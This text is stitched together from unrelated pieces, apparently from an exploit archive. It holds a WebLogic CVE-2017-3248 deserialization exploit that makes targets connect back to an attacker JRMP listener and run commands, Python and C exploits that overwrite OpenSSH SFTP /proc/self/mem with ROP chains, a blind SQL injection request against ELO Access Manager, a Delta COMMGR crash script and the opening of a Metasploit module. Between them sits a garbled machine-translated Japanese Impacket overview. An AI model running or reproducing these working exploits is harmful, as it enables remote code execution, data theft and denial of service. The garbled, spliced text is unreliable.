	print "[+] Sending second packet..."
	#print "[S2] Sending {0}".format(repr(payload_2.decode('hex')))
	s.sendall(payload_2.decode('hex'))
	data = s.recv(4096)
	#print '[R2] Received', repr(data)
	print "[+] Generating with ysoserial the third packet which contains a JRMPClient payload..."
	payload_3_3_2 = getJrmpClientPayloadEncoded(attackerIp=attackerIP, attackerJRMPListenerPort=attackerJRMPPort, ysoPath=ysoPath)
	payload= payload_3_1 + payload_3_2 + payload_3_3_1 + payload_3_3_2 + payload_3_4
	payload = payload.replace(payload_3_1, "0000{:04x}".format(len(payload)/2), 1)
	sendata = payload.decode('hex')
	if testOnly == False:
		print "[+] You have to execute the following command locally:"
		print "    {0}".format(CMD_YSO_LISTEN.format(ysoPath, attackerJRMPPort, payloadType,cmd))
		raw_input("[+] Press Enter when this previous command is running...")
	print "[+] Sending third packet..."
	#print "[S3] Sending {0}".format(repr(sendata))
	s.sendall(sendata)
	data = s.recv(4096)
	s.close()
	#print '[R3] Received', repr(data)
	if testOnly == True:
		if "cannot be cast to weblogic" in str(data):
			print "[+] 'cannot be cast to weblogic' string in the third response from server"
			print "\n{2}\n[-] target {0}:{1} is not vulnerable\n{2}\n".format(targetIP, targetPort, '-'*60)
		else:
			print "[+] 'cannot be cast to weblogic' string is NOT in the third response from server"
			print "\n{2}\n[+] target {0}:{1} is vulnerable\n{2}\n".format(targetIP, targetPort, '-'*60)
	else:
		print "[+] The target will connect to {0}:{1}".format(attackerIP, attackerJRMPPort)
		print "[+] The command should be executed on the target after connection on {0}:{1}".format(attackerIP, attackerJRMPPort)

def main():
	argsParsed = argparse.ArgumentParser(description=HELP_MESSAGE, formatter_class=RawTextHelpFormatter)
	argsParsed.add_argument("-t", dest='target', required=True, help='target IP')
	argsParsed.add_argument("-p", dest='port', type=int, required=True, help='target port')
	argsParsed.add_argument("--jip", dest='attackerIP', required=False, help='Local JRMP listener ip')
	argsParsed.add_argument("--jport", dest='attackerPort', type=int, default=3412, required=False, help='Local JRMP listener port (default: %(default)s)')
	argsParsed.add_argument("--cmd", dest='cmdToExecute', help='Command to execute on the target')
	argsParsed.add_argument("--check", dest='check', action='store_true', default=False, help='Check if vulnerable')
	argsParsed.add_argument("--ssl", dest='sslEnabled', action='store_true', default=False, help='Enable ssl connection')
	argsParsed.add_argument("--ysopath", dest='ysoPath', required=True, default=False, help='Ysoserial path')
	argsParsed.add_argument("--payloadType", dest='payloadType', default="CommonsCollections5", help='Payload to use in JRMP listener (default: %(default)s)')
	args = dict(argsParsed.parse_args()._get_kwargs())
	if os.path.isfile(args['ysoPath'])==False:
		print "[-] You have to give the path to Ysoserial with --ysopath (https://github.com/frohoff/ysoserial)!"
		return -1
	if args['check'] == False and args['attackerIP'] == None:
		print "[-] You have to give an IP with --jip !"
		return -1
	elif args['check'] == False and args['cmdToExecute'] == None:
		print "[-] You have to give a command to execute on the target with --cmd !"
		return -1
	if args['check'] == True:
		print "[+] Checking if target {0}:{1} is vulnerable to CVE-2017-3248 without executing a system command on the target...".format(args['target'], args['port'])
		exploit(targetIP=args['target'], targetPort=args['port'], attackerIP=None, attackerJRMPPort=None, cmd=None, testOnly=True, sslEnabled=args['sslEnabled'], ysoPath=args['ysoPath'])
	else:
		print "[+] Exploiting  target {0}:{1}...".format(args['target'], args['port'])
		exploit(targetIP=args['target'], targetPort=args['port'], attackerIP=args['attackerIP'], attackerJRMPPort=args['attackerPort'], cmd=args['cmdToExecute'], payloadType=args['payloadType'], testOnly=False, sslEnabled=args['sslEnabled'],ysoPath=args['ysoPath'])

if __name__ == "__main__":
	main()
            

インパケットとは

Impacketは、ネットワークプロトコルを処理するために使用されるPythonクラスのコレクションです。 Impacketは、パケットへのシンプルなプログラムアクセスと、自分自身を実装する特定のプロトコル(SMB1-3やMSRPCなど)の提供に焦点を当てています。パケットはゼロから構築するか、生データから解析できますが、オブジェクト指向のAPIにより、プロトコルの深い構造がシンプルになります。このライブラリは、このライブラリで実行できるアクションを見つける例として、一連のツールを提供します。

いくつかのツールの指示については、https://www.secureauth.com/labs/open-source-tools/ympacketにアクセスしてください

Impacketには、次のプロトコルが含まれています

イーサネット、Linux「調理済み」パケットキャプチャ

IP、TCP、UDP、ICMP、IGMP、ARP

IPv4とIPv6をサポートします

NMBおよびSMB1、SMB2およびSMB3(高度な実装)

MSRPCバージョン5、さまざまな輸送プロトコルを介して:TCP、SMB/TCP、SMB/NetBios、およびHTTP

パスワード/ハッシュ/タイトル/キーを使用した単純なNTLMおよびKerberos認証

次のMSRPCインターフェイスを部分的または完全に実装します:EPM、DTYPES、LSAD、LSAT、NRPC、RRP、SAMR、SRVS、WKST、SCMR、BKRP、DHCPM、さらに6、MGMT、SASEC、TSCH、DCOM、WMI

部分TDS(MSSQL)およびLDAPプロトコルの実装。

インパケットを取得

コンパイルされた電流および以前のバージョン

オープンソースブランチ

プログラムのインストール

すぐに開始

最新の安定したバージョンを入手し、それを解凍してコマンドPIPインストールを実行します。次に、ディレクトリで実行します。

インストール要件

Python 2.6/2.7に知られているPythonインタープリターとPython 3.6は、これらの例を実行する場合は実行できます。Python2.7では、argparseパッケージをインストールして普通に実行する必要があります。

Kerberosサポートのために、Pyasn1パッケージをインストールする必要があります

暗号化操作には、PycryptoDomexパッケージをインストールする必要があります

いくつかの例については、pyopenssl(rdp_check.py)とldap3(ntlmrelayx.py)をインストールする必要があります

ntlmrelayx.pyについては、ldapdomaindump、flask、ldap3もインストールする必要があります

Windowsの下にいる場合は、pyreadlineをインストールする必要があります

最近リリースされたインパケット

インストール

ソースをインストールするには、Impacketパッケージが解凍されているディレクトリから次のコマンドを実行します:PIPインストール。これにより、クラスがデフォルトのPythonモジュールパスにインストールされます。そこに記述するには、特別な権限が必要になる場合があることに注意してください。 setup.pyで利用可能なコマンドとオプションの詳細については、python setup.pyを実行します - ヘルプコマンド

テスト

ライブラリテストケースを実行する場合は、3つの主なことをする必要があります。

Windows 2012 R2ドメインコントローラーをインストールして構成します。

リモートレジストリサービスが有効になって実行されていることを確認してください。

必要な情報を使用して、dcetest.cfgファイルを構成します

TOX(PIPインストールTOX)をインストールする

完了したら、TOXを実行して結果を待つことができます。すべてがうまくいけば、すべてのテストケースが合格するはずです。また、Impacket/tests/htmlmcov/index.htmlに関する上書きのHTMLレポートを見つけることができます

インパケットには、次のツールが含まれています

リモート実行

psexec.py: psexec-like関数の例、remcomsvc(https://github.com/kavika13/remcom)を使用して

smbexec.py:remcomsvcを使用したpsexec w/oと同様の方法。この技術については、ここで説明します。私たちの実装は、コマンドの出力を受け取るためにローカルSMBServerをインスタンス化することにより、さらに一歩進んでいます。これは、ターゲットコンピューターに手数料の共有を利用できない場合に役立ちます。

atexec.py:この例は、タスクスケジューラサービスを介してターゲットコンピューターでコマンドを実行し、実行されたコマンドの出力を返します。

wmiexec.py:Windows Management Instrumentationを介して使用される半互換シェル。これは、ターゲットサーバーにサービス/エージェントをインストールする必要はありません。

dcomexec.py:wmiexec.pyに似た半互換シェルですが、異なるdcomエンドポイントを使用しています。現在、MMC20.Application、ShellWindows、およびShellBrowserWindowオブジェクトをサポートしています。

gettgt.py:パスワード、ハッシュ、またはaeskeyを指定すると、このスクリプトはtgtを要求し、ccacheとして保存します

getSt.py:CCACHEでパスワード、ハッシュ、AESKEY、またはTGTを指定すると、このスクリプトはサービスチケットを要求し、CCACHEとして保存します。アカウントが委任(プロトコル変換を伴う)権限を制約している場合、-Imprionateパラメーターを使用して別のユーザーに代わってチケットをリクエストできるようになります。

getpac.py:このスクリプトは、指定されたターゲットユーザーのPAC(許可属性証明書)構造を取得します。 [MS-SFU]を使用して、S4Uself +ユーザーからユーザーへのKerberos認証の組み合わせを混合することで達成されます。

getUserSpns.py:この例では、通常のユーザーアカウントに関連付けられたサービスプリンシパル名を見つけて取得しようとします。

getnpusers.py:この例では、「kerberos no kerberosが事前に必要である」と属性を持つユーザーに対して、TGT(uf_dont_require_prauth)を取得しようとします。出力はJTRと互換性があります

Ticteter.py:このスクリプトは、ゼロから金/銀のノートを作成するか、テンプレート(KDCの法的要求に従って)に基づいて作成され、PAC_LOGON_INFO構造、特にグループ、アドイン、期間などで設定されたパラメーターをカスタマイズできます。

raisechild.py:このスクリプトは、(ab)ゴールデンチケットとエクストラシドの基礎を使用して、サブドメインから爆発の許可アップグレードを実現します。

windowsの秘密

SecretSdump.py:

プロキシを実行せずに、リモートマシンから秘密を捨てるためにさまざまなテクニックを実行します。 SAMとLSAの秘密(キャッシュされた資格情報を含む)については、ターゲットシステム(%SystemRoot%\ Tempディレクトリ)に巣箱を保存し、その後のデータを読み取ります。 DITファイルの場合、dl_drsgetncChanges()メソッドを使用して、NTLMハッシュ値、プレーンテキスト資格情報(利用可能な場合)、およびKerberosキーをダンプします。また、smbexec/wmiexecメソッドを使用して実行されたvssadminを使用して、ntds.ditをダンプすることもできます。スクリプトが使用できない場合、スクリプトは実行する必要があるサービスを開始します(たとえば、無効になっていても、リモートレジストリなど)。実行が完了すると、元の状態に戻ります。

mimikatz.py:@gentilkiwiが開発したリモートmimikatz RPCサーバーを制御するためのミニシェル

サーバーツール/MITM攻撃

NTLMRELAYX.PY:このスクリプトは、NTLMリレー攻撃を実行し、SMBおよびHTTPサーバーをセットアップし、資格情報を多くの異なるプロトコル(SMB、HTTP、MSSQL、LDAP、IMAP、POP3など)にリレーします。スクリプトは、接続を中継するときにトリガーされる可能性のある事前定義された攻撃で使用できます(たとえば、LDAPを介してユーザーを作成する)またはSocksモードで実行されます。このモードでは、各リレーの接続について、Socksプロキシを介して数回使用できます。

karmasmb.py:指定されたSMB共有とパス名に関係なく、特定のファイルコンテンツに応答するSMBサーバー

smbserver.py:SMBサーバーのPython実装により、共有アカウントとユーザーアカウントの迅速なセットアップが可能になります。

wmi

wmiquery.py:WQLクエリを発行し、ターゲットシステムでWMIオブジェクトの説明を取得できます(たとえば、win32_accountから名前の選択)

wmipersist.py:このスクリプトは、WMIイベント消費者/フィルターを作成/削除し、2つの間にリンクを確立し、指定されたWQLフィルターまたはタイマーに基づいてVisual Basic Basicを実行する

既知の脆弱性

GoldenPac.py:MS14-068を利用します。ゴールデンチケットを保存し、ターゲットの場所でPSEXECセッションを開始します

sambapipe.py:このスクリプトは、CVE-2017-7494を使用して、-soパラメーターを介してユーザーが指定した共有ライブラリをアップロードおよび実行します。

SMBRELAYX.PY:SMBリレー攻撃の脆弱性CVE-2015-0005の悪用。ターゲットシステムが署名を実行し、コンピューターアカウントが提供されている場合、モジュールはNetlogonを介してSMBセッションキーを収集しようとします。 SMBリレー攻撃の脆弱性CVE-2015-0005の使用

SMB / MSRPC < / H4>

smbclient.py:共有名とファイル名をリストし、ファイルし、ファイルを変更、アップロード、ダウンロードし、ディレクトリを作成および削除する一般的なSMBクライアント。これは、実際にはdibacket.smbの使用方法の素晴らしい例です

getArch.py:このスクリプトは、ターゲット(またはターゲットリスト)ホストに接続し、文書化されたMSRPC機能を使用して(AB)がインストールしたオペレーティングシステムアーキテクチャタイプを収集します。

rpcdump.py:このスクリプトは、ターゲットに登録されているRPCエンドポイントと文字列バインディングリストをダンプします。また、それらを既知のエンドポイントのリストと一致させようとします。

IFMAP.py:このスクリプトは、ターゲットの管理インターフェイスにバインドして、インターフェイスIDのリストを取得します。このリストを別のインターフェイスUUIDリストに使用し、各インターフェイスにバインドし、インターフェイスがリストされているかリスニングされているかを報告しようとします。

opdump.py:これは、指定されたhostname:portおよびmsrpcインターフェイスに結合します。次に、最初の256のアクション番号のそれぞれを順番に呼び出し、各呼び出しの結果を報告しようとします。

Samrdump.py:MSRPCスイートのセキュリティアカウントマネージャーのリモートインターフェイスと通信するアプリケーション。システムユーザーアカウント、利用可能なリソース共有、およびこのサービスを通じてエクスポートされるその他の機密情報をリストします

Services.py:このスクリプトは、[MS-SCMR] MSRPCインターフェイスを介してWindowsサービスを操作するために使用できます。開始、停止、削除、ステータス、構成、リスト、作成、変更をサポートします。

netview.py:リモートホストで開かれたセッションのリストを取得し、見つかったホストでそれらのセッションループを追跡し、リモートサーバーからログイン/出口にログインしたユーザーを追跡します

reg.py:[MS-RRP] MSRPCインターフェイスを介したリモートレジストリ操作ツール。アイデアは、Reg.exe Windowsユーティリティに同様の機能を提供することです。=

lookupsid.py:[MS-LSAT] MSRPCインターフェイスを介したWindows Sid Brute-Forceプログラムの例リモートユーザーとグループを見つけるように設計されています

mssql / tds < / h4>

mssqlinstance.py:ターゲットホストからMSSQLインスタンス名を取得します。

MSSQLCLIENT.PY:MSSQLクライアントは、SQLおよびWindows認証(HASH)をサポートしています。 TLSもサポートします。

ファイル形式

esentutl.py:拡張ストレージエンジン形式の実装。 ESEデータベースのディレクトリ、ページ、テーブルのダンピングを許可します(ntds.ditなど)

ntfs-read.py:ntfs形式の実装。このスクリプトは、非表示/ロックされたコンテンツを含むNTFSボリュームを閲覧および抽出するための小さなリバウンドシェルを提供します

registry-read.py:Windowsレジストリファイル形式の実装。オフラインレジストリ構成ハイブを解析することができます

その他

getAdusers.py:このスクリプトは、ドメインユーザーとその対応するメールアドレスに関するデータを収集します。また、最後のログインと最後のパスワード設定プロパティに関するいくつかの追加情報も含まれます。

MQTT_CHECK.PY:異なるログインオプションを使用するように設計された簡単なMQTT例。アカウント/パスワードブルートフォースツールに簡単に変換できます。

rdp_check.py:[ms-rdpbcgr]および[ms-credssp]は、credssp認証を達成するためにのみ部分的に実装されました。この例では、アカウントがターゲットホストで有効かどうかをテストします。

Sniff.py:PCAPYライブラリを使用して、指定されたインターフェイスに送信されたパケットをリッスンするシンプルなパケットSniffer。

sniffer.py:生のソケットを使用して指定されたプロトコルに対応する輸送中のパケットをリッスンするシンプルなパケットスニファー。

ping.py:ICMPエコーとエコーリファリーパケットを使用して、ホストのステータスを確認する単純なICMP Ping。リモートホストが開始された場合は、エコーリェプリーパケットを使用してエコープローブに応答する必要があります。

Ping6.py:ICMPエコーとエコーリファリーパケットを使用してホストのステータスを確認する単純なIPv6 ICMP Ping。

ソースコード

https://github.com/secureauthcorp/impacketにアクセスして、ソースコード(開発バージョン)を表示できます

0.9.19、2019年4月1日更新-Gzip'd Tarball

0.9.18、2018年12月5日に更新-Gzip'd Tarball

0.9.17、2018年5月30日に更新-Gzip'd Tarball

0.9.15、2016年6月28日に更新-Gzip'd Tarball

0.9.14、2016年1月7日に更新-Gzip'd Tarball、

0.9.13、2015年5月4日に更新-Gzip'd Tarball、

0.9.12、2014年7月20日更新-Gzip'd Tarball、

0.9.11、2014年2月3日に更新-Gzip'd Tarball、

0.9.10、2013年5月6日に更新-Gzip'd Tarball、

0.9.9.9、2012年7月20日に更新- gzip'd tarball、zipファイル

0.9.6.0、2006年5月23日に更新-Gzip'd Tarball

0.9.5.2、2006年4月3日に更新-GZIP'D TARBALL、ZIPファイル

0.9.5.1、2003年12月16日に更新- gzip'd tarball、zipファイル

ドキュメント

より多くのドキュメントを利用できるようにするため、ほとんどのドキュメントはPythonのドキュメントコメントとしてソースコードに含まれています。また、テストのケースと例を通じて、図書館の機能について多くを学ぶこともできます。

# OpenSSH <= 6.6 SFTP misconfiguration exploit for 32/64bit Linux
# The original discovery by Jann Horn: http://seclists.org/fulldisclosure/2014/Oct/35
#
# Adam Simuntis :: https://twitter.com/adamsimuntis
# Mindaugas Slusnys :: https://twitter.com/mislusnys

import paramiko
import sys
import time
from pwn import *

# parameters
cmd = 'touch /tmp/pwn; touch /tmp/pwn2'
host = '172.16.15.59'
port = 22
username = 'secforce'
password = 'secforce'

# connection
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(hostname = host, port = port, username = username, password = password)
sftp = ssh.open_sftp()

# parse /proc/self/maps to get addresses
log.info("Analysing /proc/self/maps on remote system")
sftp.get('/proc/self/maps','maps')
with open("maps","r") as f:
    lines = f.readlines()
    for line in lines:
        words = line.split()
        addr = words[0]
        if ("libc" in line and "r-xp" in line):
            path = words[-1]
            addr = addr.split('-')
            BITS = 64 if len(addr[0]) > 8 else 32
            print "[+] {}bit libc mapped @ {}-{}, path: {}".format(BITS, addr[0], addr[1], path)
            libc_base = int(addr[0], 16)
            libc_path = path
        if ("[stack]" in line):
            addr = addr.split("-")
            saddr_start = int(addr[0], 16)
            saddr_end = int(addr[1], 16)
            print "[+] Stack mapped @ {}-{}".format(addr[0], addr[1])

# download remote libc and extract information
print "[+] Fetching libc from remote system..\n"
sftp.get(str(libc_path), 'libc.so')
e = ELF("libc.so")
sys_addr = libc_base + e.symbols['system']
exit_addr = libc_base + e.symbols['exit']

# gadgets for the RET slide and system()
if BITS == 64:
    pop_rdi_ret = libc_base + next(e.search('\x5f\xc3'))
    ret_addr = pop_rdi_ret + 1
else:
    ret_addr = libc_base + next(e.search('\xc3'))

print "\n[+] system()  @ {}".format(hex(sys_addr))
print "[+] 'ret' @ {}".format(hex(ret_addr))
if BITS == 64:
    print "[+] 'pop rdi; ret' @ {}\n".format(hex(pop_rdi_ret))

with sftp.open('/proc/self/mem','rw') as f:
    if f.writable():
        print "[+] We have r/w permissions for /proc/self/mem! All Good."
    else:
        print "[-] Fatal error. No r/w permission for mem."
        sys.exit(0)

    log.info("Patching /proc/self/mem on the remote system")

    stack_size = saddr_end - saddr_start
    new_stack = ""

    print "[+] Pushing new stack to {}.. fingers crossed ;))".format(hex(saddr_start))
    #sleep(20)
    if BITS == 32:
        new_stack += p32(ret_addr) * (stack_size/4)
        new_stack = cmd + "\x00" + new_stack[len(cmd)+1:-12]
        new_stack += p32(sys_addr)
        new_stack += p32(exit_addr)
        new_stack += p32(saddr_start)
    else:
        new_stack += p64(ret_addr) * (stack_size/8)
        new_stack = cmd + "\x00" + new_stack[len(cmd)+1:-32]
        new_stack += p64(pop_rdi_ret)
        new_stack += p64(saddr_start)
        new_stack += p64(sys_addr)
        new_stack += p64(exit_addr)

    # debug info
    with open("fake_stack","w") as lg:
        lg.write(new_stack)

    # write cmd to top off the stack
    f.seek(saddr_start)
    f.write(cmd + "\x00")

    # write the rest from bottom up, we're going to crash at some point
    for off in range(stack_size - 32000, 0, -32000):
        cur_addr = saddr_start + off

        try:
            f.seek(cur_addr)
            f.write(new_stack[off:off+32000])
        except:
            print "Stack write failed - that's probably good!"
            print "Check if you command was executed..."
            sys.exit(0)

sftp.close()
ssh.close()
            
#define _GNU_SOURCE

// THIS PROGRAM IS NOT DESIGNED TO BE SAFE AGAINST VICTIM MACHINES THAT
// TRY TO ATTACK BACK, THE CODE IS SLOPPY!
// (In other words, please don't use this against other people's machines.)

#include <libssh/libssh.h>
#include <libssh/sftp.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>

#define min(a,b) (((a)<(b))?(a):(b))

sftp_session sftp;

size_t grab_file(char *rpath, char **out) {
  size_t allocated = 4000, used = 0;
  *out = calloc(1, allocated+1);
  sftp_file f = sftp_open(sftp, rpath, O_RDONLY, 0);
  if (f == NULL) fprintf(stderr, "Error opening remote file %s: %s\n", rpath, ssh_get_error(sftp)), exit(1);
  while (1) {
    ssize_t nbytes = sftp_read(f, *out+used, allocated-used);
    if (nbytes < 0) fprintf(stderr, "Error reading remote file %s: %s\n", rpath, ssh_get_error(sftp)), exit(1);
    if (nbytes == 0) {
      (*out)[used] = '\0';
      sftp_close(f);
      return used;
    }
    used += nbytes;
    if (used == allocated) {
      allocated *= 4;
      *out = realloc(*out, allocated);
    }
  }
}

void dump_file(char *name, void *buf, size_t len) {
  FILE *f = fopen(name, "w+");
  if (!f) perror("can't write to local file"), exit(1);
  if (fwrite(buf, 1, len, f) != len) fprintf(stderr, "local write failed\n"), exit(1);
  if (fclose(f)) fprintf(stderr, "fclose error\n"), exit(1);
}

size_t slurp_file(char *path, char **out) {
  size_t allocated = 4000, used = 0;
  *out = calloc(1, allocated+1);
  FILE *f = fopen(path, "r");
  if (f == NULL) perror("opening local file failed"), exit(1);
  while (1) {
    ssize_t nbytes = fread(*out+used, 1, allocated-used, f);
    if (nbytes < 0) fprintf(stderr, "Error reading local file %s: %s\n", path, strerror(errno)), exit(1);
    if (nbytes == 0) {
      (*out)[used] = '\0';
      if (fclose(f)) fprintf(stderr, "fclose error\n"), exit(1);
      return used;
    }
    used += nbytes;
    if (used == allocated) {
      allocated *= 4;
      *out = realloc(*out, allocated);
    }
  }
}

int main(int argc, char **argv) {
  if (argc != 4) fprintf(stderr, "invocation: ./exploit host user 'shell commands here'\n"), exit(1);
  char *target_host = argv[1];
  char *target_user = argv[2];
  char *shell_commands = argv[3];

  ssh_session my_ssh_session;
  int rc;
  char *password;
  // Open session and set options
  my_ssh_session = ssh_new();
  if (my_ssh_session == NULL) exit(-1);
  ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, target_host);
  ssh_options_set(my_ssh_session, SSH_OPTIONS_USER, target_user);
  // Connect to server
  rc = ssh_connect(my_ssh_session);
  if (rc != SSH_OK) fprintf(stderr, "Error connecting to host: %s\n", ssh_get_error(my_ssh_session)), exit(-1);

  // Authenticate ourselves
  password = getpass("Password: ");
  rc = ssh_userauth_password(my_ssh_session, NULL, password);
  if (rc != SSH_AUTH_SUCCESS)
    fprintf(stderr, "Error authenticating with password: %s\n", ssh_get_error(my_ssh_session)), exit(-1);
  
  sftp = sftp_new(my_ssh_session);
  if (sftp == NULL) fprintf(stderr, "Error allocating SFTP session: %s\n", ssh_get_error(my_ssh_session)), exit(-1);

  rc = sftp_init(sftp);
  if (rc != SSH_OK) {
    fprintf(stderr, "Error initializing SFTP session: %s.\n", ssh_get_error(sftp));
    sftp_free(sftp);
    return rc;
  }

  char *mappings;
  grab_file("/proc/self/maps", &mappings);
  //printf("/proc/self/maps dump: \n%s\n\n\n", mappings);

  printf("got /proc/self/maps. looking for libc...\n");
  // 7fc9e742b000-7fc9e75ad000 r-xp 00000000 fe:00 2753466                    /lib/x86_64-linux-gnu/libc-2.13.so
  long long start_addr, end_addr, offset;
  char *libc_path = NULL;
  long long stack_start_addr = 0, stack_end_addr;
  for (char *p = strtok(mappings, "\n"); p; p = strtok(NULL, "\n")) {
    if (strstr(p, " r-xp ") && strstr(p, "/libc-")) {
      if (libc_path) fprintf(stderr, "warning: two times libc?\n");
      printf("mapping line: %s\n", p);
      if (sscanf(p, "%Lx-%Lx %*4c %Lx", &start_addr, &end_addr, &offset) != 3) perror("scanf failed"), exit(1);
      libc_path = strdup(strchr(p, '/'));
      if (libc_path == NULL) fprintf(stderr, "no path in mapping?"), exit(1);
    }
    if (strstr(p, "[stack]")) {
      if (stack_start_addr != 0) fprintf(stderr, "two stacks? no."), exit(1);
      printf("mapping line: %s\n", p);
      if (sscanf(p, "%Lx-%Lx ", &stack_start_addr, &stack_end_addr) != 2) perror("scanf failed"), exit(1);
    }
  }
  if (libc_path == NULL) fprintf(stderr, "unable to find libc\n"), exit(1);
  if (stack_start_addr == 0) fprintf(stderr, "unable to find stack"), exit(1);
  printf("remote libc is at %s\n", libc_path);
  printf("offset %Lx from libc is mapped to %Lx-%Lx\n", offset, start_addr, end_addr);

  char *libc;
  size_t libc_size = grab_file(libc_path, &libc);
  dump_file("libc.so", libc, libc_size);
  printf("downloaded libc, size is %zu bytes\n", libc_size);

  system("objdump -T libc.so | grep ' system$' | cut -d' ' -f1 > system.addr");
  char *system_offset_str;
  slurp_file("system.addr", &system_offset_str);
  long long system_offset;
  if (sscanf(system_offset_str, "%Lx", &system_offset) != 1) perror("scanf failed"), exit(1);
  long long remote_system_addr = start_addr+system_offset-offset;
  printf("remote system() function is at %Lx\n", remote_system_addr);

  printf("looking for ROP gadget `pop rdi;ret` (0x5fc3) in libc...\n");
  char *gadget = memmem(libc+offset, end_addr-start_addr, "\x5f\xc3", 2);
  if (gadget == NULL) fprintf(stderr, "no gadget found :(\n"), exit(1);
  long long gadget_address = start_addr + (gadget-(libc+offset));
  long long ret_address = gadget_address+1;
  printf("found gadget at %Lx\n", gadget_address);

  printf("remote stack is at %Lx-%Lx\n", stack_start_addr, stack_end_addr);
  printf("doing it the quick-and-dirty way (that means: pray that the target"
         "program was compiled with gcc, giving us 16-byte stack alignment)...\n");
  long long stack_len = stack_end_addr - stack_start_addr;
  /*if (stack_len > 32000) {
    stack_len = 32000;
    stack_start_addr = stack_end_addr - stack_len;
  }*/
  char *new_stack = malloc(stack_len);

  // first fill it with our ret slide
  for (long long *s = (void*)new_stack; s<(long long*)(new_stack+stack_len); s++) {
    *s = ret_address;
  }

  // put some shell commands in the head
  strcpy(new_stack, shell_commands);

  // put the mini-ROP-chain at the end
  // [address of pop rdi] [stack head] [address of system]
  long long *se = (void*)(new_stack + stack_len);
  se[-3] = gadget_address;
  se[-2] = stack_start_addr;
  se[-1] = remote_system_addr;

  printf("Prepared the new stack. Now comes the moment of truth: push the new stack over and pray.\n");
  sftp_file mem = sftp_open(sftp, "/proc/self/mem", O_RDWR, 0);
  if (mem == NULL) fprintf(stderr, "Error opening remote memory: %s\n", ssh_get_error(sftp)), exit(1);

  // first send over the string
  rc = sftp_seek64(mem, stack_start_addr);
  if (rc) fprintf(stderr, "Error seeking to remote stack: %s\n", ssh_get_error(sftp)), exit(1);
  ssize_t mem_written = sftp_write(mem, new_stack, strlen(shell_commands)+1);
  if (mem_written != strlen(shell_commands)+1) fprintf(stderr, "didn't write the whole new stack\n");

  // now send over the rest right-to-left
  for (long long off = stack_len-32000; off >= 0; off -= 32000) {
    rc = sftp_seek64(mem, stack_start_addr+off);
    if (rc) fprintf(stderr, "Error seeking: %s\n", ssh_get_error(sftp)), exit(1);
    mem_written = sftp_write(mem, new_stack+off, 32000);
    if (mem_written != 32000) fprintf(stderr, "stack write failed – that's probably good :)\n"), exit(0);
  }

  return 0;
}
            
# Title: Elektronischer Leitz-Ordner 10 - SQL Injection
# Author: Jens Regel, Schneider & Wulf EDV-Beratung GmbH & Co. KG
# Software: https://www.elo.com/en-de/
# CVE: N/A
# Affected Products:
# ELOenterprise 10 (ELO Access Manager <= 10.17.120)
# ELOenterprise 9 (ELO Access Manager <= 9.17.120)
# ELOprofessional 10 (ELO Access Manager <= 10.17.120)
# ELOprofessional 9 (ELO Access Manager <= 9.17.120)



# Description: 
# ELO is a commercial software product for managing documents and
# electronic content. Storage and organization is similar to classic
# paper-based document management. ELO belongs to the category of document
# management (DMS) and enterprise content management systems (ECM). DMS
# and ECM systems enable audit-proof archiving of documents and
# information requiring storage.

# We have discovered a time-based blind SQL injection vulnerability in the
# ELO Access Manager (<= 9.17.120 and <= 10.17.120) component that makes
# it possible to read all database content. The vulnerability exists in
# the HTTP GET parameter "ticket". For example, we succeeded in reading
# the password hash of the administrator user in the "userdata" table from
# the "eloam" database.

# Proof of Concept:

GET
/wf-NAME/social/api/feed/aggregation/201803310000?ticket=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
IF(UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(name AS
NVARCHAR(4000)),CHAR(32)) FROM master..sysdatabases WHERE name NOT IN
(SELECT TOP 7 name FROM master..sysdatabases ORDER BY name) ORDER BY
name),5,1))>104) WAITFOR DELAY '0:0:1'--
qvAV&after=1523013041889&lang=de&_dc=1523013101769 HTTP/1.1
Accept-Encoding: gzip,deflate
Connection: close
Accept: */*
Host: server:9090
Referer: http://server:9090/wf-NAME/social/api/feed/aggregation/201803310000
Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv: 59.0) Gecko/20100101
Firefox/59.0

HTTP/1.1 401 Unauthorized
Server: Apache-Coyote/1.1
Content-Type: application/json;charset=UTF-8
Content-Length: 410
Date: Fri, 06 Apr 2018 11:57:15 GMT
Connection: close

{"error":{"code":401,"message":"[TICKET:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\u0027
IF(UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(name AS
NVARCHAR(4000)),CHAR(32)) FROM master..sysdatabases WHERE name NOT IN
(SELECT TOP 7 name FROM master..sysdatabases ORDER BY name) ORDER BY
name),5,1))\u003e104) WAITFOR DELAY \u00270][ELOIX:2001]Sitzungskennung
ung..ltig oder abgelaufen. Melden Sie sich neu an.[NO-DETAILS]"}}
            
# Exploit Title: Delta Electronics Delta Industrial Automation COMMGR
- Remote STACK-BASED BUFFER OVERFLOW
# Date: 02.07.2018
# Exploit Author: t4rkd3vilz
# Vendor Homepage: http://www.deltaww.com/
# Software Link: http://www.deltaww.com/Products/PluginWebUserControl/downloadCenterCounter.aspx?DID=2093&DocPath=1&hl=en-US
# Version:
COMMGR Version 1.08 and prior.
   DVPSimulator EH2, EH3, ES2, SE, SS2
   AHSIM_5x0, AHSIM_5x1
# Tested on: Kali Linux
# CVE : CVE-2018-10594


#Run exploit, result DOS

import socket


ip = raw_input("[+] IP to attack: ")

sarr = []
i = 0
while True:
    try:
        sarr.append(socket.create_connection((ip,80)))
        print "[+] Connection %d" % i
        crash1 = "\x41"*4412 +"\X42"*1000
        sarr[i].send(crash1+'\r\n')
        i+=1
    except socket.error:
        print "[*] Server crashed "
        raw_input()
        break
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::TcpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'FTPShell client 6.70 (Enterprise edition) Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in the FTPShell client 6.70 (Enterprise
          edition) allowing remote code execution.
        },
      'Author'   =>
        [
          'r4wd3r',           # Original exploit author
          'Daniel Teixeira'   # MSF module author
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2018-7573'],
          [ 'EDB', '44596' ]
